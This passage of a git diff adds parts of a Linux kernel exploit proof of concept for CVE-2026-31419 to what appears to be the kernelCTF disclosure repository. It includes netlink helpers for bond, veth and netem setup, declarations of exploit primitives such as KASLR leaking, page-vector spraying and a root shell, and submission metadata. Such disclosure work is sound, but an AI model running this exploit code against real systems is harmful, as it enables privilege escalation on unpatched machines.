+ perror(#x); \
+ printf("\033[0m\n"); \
+ exit(-ELIBX); \
+}
+
+#define FAIL(x, msg) if ((x)) { \
+ printf("\033[0;31m"); \
+ printf("%s\n",msg); \
+ perror(#x); \
+ printf("\033[0m\n"); \
+ exit(-ELIBX); \
+}
+
+#define COREHEAD(argv) \
+ do { \
+ if (strncmp((argv)[0], "/proc/", 6) == 0) { \
+ coreShell(1); \
+ } else { \
+ strncpy((argv)[0], "n132", strlen((argv)[0])); \
+ (argv)[0][strlen("n132")] = '\0'; \
+ } \
+ } while (0)
+
+extern int sk_fd[SOCKET_NUM][2];
+extern size_t user_cs, user_ss, user_rflags, user_sp;
+
+void shell(void);
+char * hex(size_t);
+void success(const char *text);
+void info(const char *text);
+void panic(const char *text);
+size_t get_kaslr(int pti);
+size_t get_kaslr_precise(int pti);
+void debug(void);
+void impLimit(void);
+void pinCPU(int id);
+void sandbox(void);
+void saveStatus(void);
+void hook_segfault(void);
+void coreShell(int reboot);
+void crash(int fd, char *bin_path);
+
+void initSocketArrayN(int sk_socket[SOCKET_NUM][2],size_t nr);
+
+typedef struct pgv_frame{
+ int fd;
+ char * mapped;
+ size_t size;
+}pgvFrame;
+
+extern pgvFrame pgv[INITIAL_PG_VEC_SPRAY];
+extern pgvFrame pgvL[0x400];
+
+void pgvAdd(size_t idx, size_t order, size_t nr);
+void * pgvMap(int idx);
+
+#endif
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c
new file mode 100644
index 000000000..4087741e7
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.c
@@ -0,0 +1,11 @@
+#include "bond.h"
+
+char * bondAdd(const char *name)
+{
+ return linkAdd(name, "bond");
+}
+
+char * bondModeSet(const char *name, __u8 mode)
+{
+ return linkAttrSet(name, "bond", IFLA_BOND_MODE, sizeof(__u8), &mode);
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h
new file mode 100644
index 000000000..a1e5fba9e
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/bond.h
@@ -0,0 +1,12 @@
+#ifndef BOND_H
+#define BOND_H
+
+#include "net.h"
+
+#define BOND_MODE_BROADCAST 3
+
+char * bondAdd(const char *name);
+
+char * bondModeSet(const char *name, __u8 mode);
+
+#endif
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c
new file mode 100644
index 000000000..683e3ab68
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.c
@@ -0,0 +1,175 @@
+#include "net.h"
+
+int initNL(void ){
+ struct if_msg if_up_msg = {
+ {
+ .nlmsg_len = 32,
+ .nlmsg_type = RTM_NEWLINK,
+ .nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
+ },
+ {
+ .ifi_family = AF_UNSPEC,
+ .ifi_type = ARPHRD_NETROM,
+ .ifi_index = 1,
+ .ifi_flags = IFF_UP,
+ .ifi_change = 1,
+ },
+ };
+ int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
+ FAIL_IF(nl_sock_fd < 0);
+
+ int one = 1;
+ setsockopt(nl_sock_fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one));
+ if_up_msg.ifi.ifi_index = if_nametoindex("lo");
+ NLMsgSend(nl_sock_fd, (struct tf_msg *)(&if_up_msg));
+ return nl_sock_fd;
+}
+
+#define NEWLINK_BUF_SIZE 512
+struct newlink_req {
+ struct nlmsghdr nlh;
+ struct ifinfomsg ifi;
+ char attrbuf[NEWLINK_BUF_SIZE];
+};
+
+char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = if_nametoindex(name);
+
+ struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
+ li->rta_type = IFLA_LINKINFO;
+ li->rta_len = RTA_LENGTH(0);
+
+ li->rta_len += RTA_ALIGN(add_rtattr(
+ (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));
+
+ struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len);
+ data->rta_type = IFLA_INFO_DATA;
+ data->rta_len = RTA_LENGTH(0);
+
+ data->rta_len += RTA_ALIGN(add_rtattr(
+ (size_t)data + data->rta_len, attr_type, attr_size, (char *)attr_value));
+
+ li->rta_len += RTA_ALIGN(data->rta_len);
+ req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
+
+ return (char *)req;
+}
+
+char * linkAdd(const char *name, const char *kind)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = 0;
+
+ if(name){
+ req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
+ (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
+ IFLA_IFNAME, strlen(name) + 1, (char *)name));
+ }
+
+ struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
+ li->rta_type = IFLA_LINKINFO;
+ li->rta_len = RTA_LENGTH(0);
+
+ li->rta_len += RTA_ALIGN(add_rtattr(
+ (size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));
+
+ req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
+
+ return (char *)req;
+}
+
+char * linkSet(const char *name, int up)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = if_nametoindex(name);
+ req->ifi.ifi_change = IFF_UP;
+ req->ifi.ifi_flags = up ? IFF_UP : 0;
+
+ return (char *)req;
+}
+
+char * linkMasterSet(const char *iface, const char *master)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = if_nametoindex(iface);
+
+ __u32 master_idx = if_nametoindex(master);
+ req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
+ (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
+ IFLA_MASTER, sizeof(__u32), (char *)&master_idx));
+
+ return (char *)req;
+}
+
+char * linkMasterDel(const char *iface)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = if_nametoindex(iface);
+
+ __u32 master_idx = 0;
+ req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
+ (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
+ IFLA_MASTER, sizeof(__u32), (char *)&master_idx));
+
+ return (char *)req;
+}
+
+char * linkMtuSet(const char *name, __u32 mtu)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = if_nametoindex(name);
+
+ req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
+ (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
+ IFLA_MTU, sizeof(__u32), (char *)&mtu));
+
+ return (char *)req;
+}
+
+char * dummyAdd(const char *name)
+{
+ return linkAdd(name, "dummy");
+}
+
+char * dummySet(const char *name, int up)
+{
+ return linkSet(name, up);
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h
new file mode 100644
index 000000000..9c7a536a9
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/net.h
@@ -0,0 +1,190 @@
+#ifndef NF_H
+#define NF_H
+#define _GNU_SOURCE
+typedef __SIZE_TYPE__ size_t;
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define ELIBX 0x132
+#define FAIL_IF(x) if ((x)) { \
+ printf("\033[0;31mFail"); \
+ perror(#x); \
+ printf("\033[0m\n"); \
+ exit(-ELIBX); \
+}
+
+#define FAIL(x, msg) if ((x)) { \
+ printf("\033[0;31mFAIL"); \
+ printf("%s\n",msg); \
+ perror(#x); \
+ printf("\033[0m\n"); \
+ exit(-ELIBX); \
+}
+
+typedef __u32 u32;
+typedef struct tf_msg {
+ struct nlmsghdr nlh;
+ struct tcmsg tcm;
+#define TC_DATA_LEN 0x200
+ char attrbuf[TC_DATA_LEN];
+};
+
+struct if_msg {
+ struct nlmsghdr nlh;
+ struct ifinfomsg ifi;
+};
+
+typedef unsigned char u8;
+typedef unsigned short u16;
+typedef unsigned int u32;
+typedef unsigned long long u64;
+
+#ifndef NLMSGERR_ATTR_MSG
+#define NLMSGERR_ATTR_MSG 1
+#define NLMSGERR_ATTR_OFFS 2
+#endif
+
+#ifndef NETLINK_EXT_ACK
+#define NETLINK_EXT_ACK 11
+#endif
+
+#ifndef NLM_F_ACK_TLVS
+#define NLM_F_ACK_TLVS 0x200
+#endif
+
+static inline void NLMsgSend_interface (int sock, char *m, const char *ifname) {
+
+ struct tf_msg *ptr = (struct tf_msg *)m;
+
+ ptr->tcm.tcm_ifindex = if_nametoindex(ifname);
+ if (!ptr->tcm.tcm_ifindex) {
+ perror("if_nametoindex");
+ return;
+ }
+ struct {
+ struct nlmsghdr nh;
+ struct nlmsgerr ne;
+ char buf[0x200];
+ } ack;
+ size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
+ FAIL_IF(write(sock, m, len) == -1);
+ FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
+ if(ack.ne.error){
+ const char *ext_msg = NULL;
+
+ if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
+ size_t off = sizeof(ack.ne);
+ while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
+ struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
+ if (nla->nla_type == NLMSGERR_ATTR_MSG) {
+ ext_msg = (char *)nla + sizeof(struct nlattr);
+ break;
+ }
+ off += NLA_ALIGN(nla->nla_len);
+ if (nla->nla_len == 0) break;
+ }
+ }
+ if (ext_msg)
+ printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
+ else
+ printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
+ }
+}
+
+static inline void NLMsgSend (int sock, char *m) {
+ struct {
+ struct nlmsghdr nh;
+ struct nlmsgerr ne;
+ char buf[0x200];
+ } ack;
+ size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
+ FAIL_IF(write(sock, m, len) == -1);
+ FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
+ if(ack.ne.error){
+ const char *ext_msg = NULL;
+
+ if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
+ size_t off = sizeof(ack.ne);
+ while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
+ struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
+ if (nla->nla_type == NLMSGERR_ATTR_MSG) {
+ ext_msg = (char *)nla + sizeof(struct nlattr);
+ break;
+ }
+ off += NLA_ALIGN(nla->nla_len);
+ if (nla->nla_len == 0) break;
+ }
+ }
+ if (ext_msg)
+ printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
+ else
+ printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
+ }
+}
+
+static inline void NLS(int sock, char *m) {
+ NLMsgSend(sock, m);
+}
+
+static inline void NLS_IF(int sock, char *m, const char *ifname) {
+ NLMsgSend_interface(sock, m, ifname);
+}
+
+static inline void init_tf_msg (struct tf_msg *m) {
+
+ m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tcm));
+ m->nlh.nlmsg_type = 0;
+
+ m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
+ m->nlh.nlmsg_seq = 0;
+ m->nlh.nlmsg_pid = 0;
+
+ m->tcm.tcm_family = PF_UNSPEC;
+ m->tcm.tcm_ifindex = if_nametoindex("lo");
+ m->tcm.tcm_handle = 0;
+ m->tcm.tcm_parent = -1;
+ m->tcm.tcm_info = 0;
+}
+
+static inline unsigned short add_rtattr (unsigned long rta_addr, unsigned short type, unsigned short len, char *data) {
+ struct rtattr *rta = (struct rtattr *)rta_addr;
+ rta->rta_type = type;
+ rta->rta_len = RTA_LENGTH(len);
+ memcpy(RTA_DATA(rta), data, len);
+ return rta->rta_len;
+}
+
+int initNL(void);
+
+char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value);
+
+char * linkAdd(const char *name, const char *kind);
+
+char * linkSet(const char *name, int up);
+
+char * linkMasterSet(const char *iface, const char *master);
+
+char * linkMasterDel(const char *iface);
+
+char * linkMtuSet(const char *name, __u32 mtu);
+
+char * dummyAdd(const char *name);
+
+char * dummySet(const char *name, int up);
+
+#endif
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c
new file mode 100644
index 000000000..3e0b09916
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.c
@@ -0,0 +1,33 @@
+#include "qdisc.h"
+
+char * qdiscDel(u32 handle) {
+ struct tf_msg *m = calloc(1, sizeof(struct tf_msg));
+ init_tf_msg(m);
+
+ m->nlh.nlmsg_type = RTM_DELQDISC;
+ m->tcm.tcm_handle = handle;
+ m->tcm.tcm_parent = -1;
+ return (char *)m;
+}
+
+char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec){
+
+ struct tf_msg *m = calloc(1,sizeof(struct tf_msg));
+
+ init_tf_msg(m);
+ m->nlh.nlmsg_type = RTM_NEWQDISC;
+ if (OPS == QDISC_ADD)
+ m->nlh.nlmsg_flags |= NLM_F_CREATE;
+ else
+ m->nlh.nlmsg_flags |= NLM_F_REPLACE | NLM_F_CREATE;
+ m->tcm.tcm_handle = handle >> 16 << 16;
+ m->tcm.tcm_parent = parent;
+
+ m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_KIND, strlen("netem") + 1, "netem"));
+
+ struct tc_netem_qopt qopt_attr={};
+ qopt_attr.latency = usec;
+ qopt_attr.limit = 1;
+ m->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr((size_t)(m) + NLMSG_ALIGN(m->nlh.nlmsg_len), TCA_OPTIONS, sizeof(qopt_attr), (char *)&qopt_attr));
+ return (char *)m;
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h
new file mode 100644
index 000000000..8fbb1d0ea
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/qdisc.h
@@ -0,0 +1,10 @@
+#include "net.h"
+
+enum QDISC_OPS {
+ QDISC_ADD,
+ QDISC_CHANGE
+};
+
+char * netemQdisc(enum QDISC_OPS OPS, u32 handle, u32 parent, u32 usec);
+
+char * qdiscDel(u32 handle);
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c
new file mode 100644
index 000000000..d615b7d21
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.c
@@ -0,0 +1,58 @@
+#include "veth.h"
+
+#define NEWLINK_BUF_SIZE 512
+
+struct newlink_req {
+ struct nlmsghdr nlh;
+ struct ifinfomsg ifi;
+ char attrbuf[NEWLINK_BUF_SIZE];
+};
+
+char * vethAdd(const char *name, const char *peer_name)
+{
+ struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
+
+ req->nlh.nlmsg_type = RTM_NEWLINK;
+ req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
+ req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
+
+ req->ifi.ifi_family = AF_UNSPEC;
+ req->ifi.ifi_index = 0;
+
+ if (name) {
+ req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
+ (size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
+ IFLA_IFNAME, strlen(name) + 1, (char *)name));
+ }
+
+ struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
+ li->rta_type = IFLA_LINKINFO;
+ li->rta_len = RTA_LENGTH(0);
+
+ li->rta_len += RTA_ALIGN(add_rtattr(
+ (size_t)li + li->rta_len, IFLA_INFO_KIND, 5, "veth"));
+
+ struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len);
+ data->rta_type = IFLA_INFO_DATA;
+ data->rta_len = RTA_LENGTH(0);
+
+ struct rtattr *peer = (struct rtattr *)((size_t)data + data->rta_len);
+ peer->rta_type = VETH_INFO_PEER;
+ peer->rta_len = RTA_LENGTH(sizeof(struct ifinfomsg));
+
+ struct ifinfomsg *peer_ifi = (struct ifinfomsg *)RTA_DATA(peer);
+ memset(peer_ifi, 0, sizeof(*peer_ifi));
+ peer_ifi->ifi_family = AF_UNSPEC;
+
+ if (peer_name) {
+ peer->rta_len += RTA_ALIGN(add_rtattr(
+ (size_t)peer + peer->rta_len,
+ IFLA_IFNAME, strlen(peer_name) + 1, (char *)peer_name));
+ }
+
+ data->rta_len += RTA_ALIGN(peer->rta_len);
+ li->rta_len += RTA_ALIGN(data->rta_len);
+ req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
+
+ return (char *)req;
+}
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h
new file mode 100644
index 000000000..74ea2b0e1
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/exploit/cos-121-18867.294.134/libx/netlink/veth.h
@@ -0,0 +1,12 @@
+#ifndef VETH_H
+#define VETH_H
+
+#include "net.h"
+
+#ifndef VETH_INFO_PEER
+#define VETH_INFO_PEER 1
+#endif
+
+char * vethAdd(const char *name, const char *peer_name);
+
+#endif
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json
new file mode 100644
index 000000000..a05901677
--- /dev/null
+++ b/pocs/linux/kernelctf/CVE-2026-31419_cos/metadata.json
@@ -0,0 +1,24 @@
+{
+ "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json",
+ "submission_ids": ["exp454"],
+ "vulnerability": {
+ "cve": "CVE-2026-31419",
+ "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=2884bf72fb8f03409e423397319205de48adca16",
+ "affected_versions": ["5.17-rc1 - 7.0-rc6"],
+ "requirements": {
+ "attack_surface": ["userns"],
+ "capabilities": ["CAP_NET_ADMIN"],
+ "kernel_config": [
+ "CONFIG_BONDING"
+ ]
+ }
+ },
+ "exploits":{
+ "cos-121-18867.294.134": {
+ "environment": "cos-121-18867.294.134",
+ "uses": ["userns"],
+ "requires_separate_kaslr_leak": false,
+ "stability_notes": "3 times success per 10 times run"
+ }
+ }
+}
\ No newline at end of file
diff --git a/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz
new file mode 100644
index 000000000..8549a22f6
Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-31419_cos/original.tar.gz differ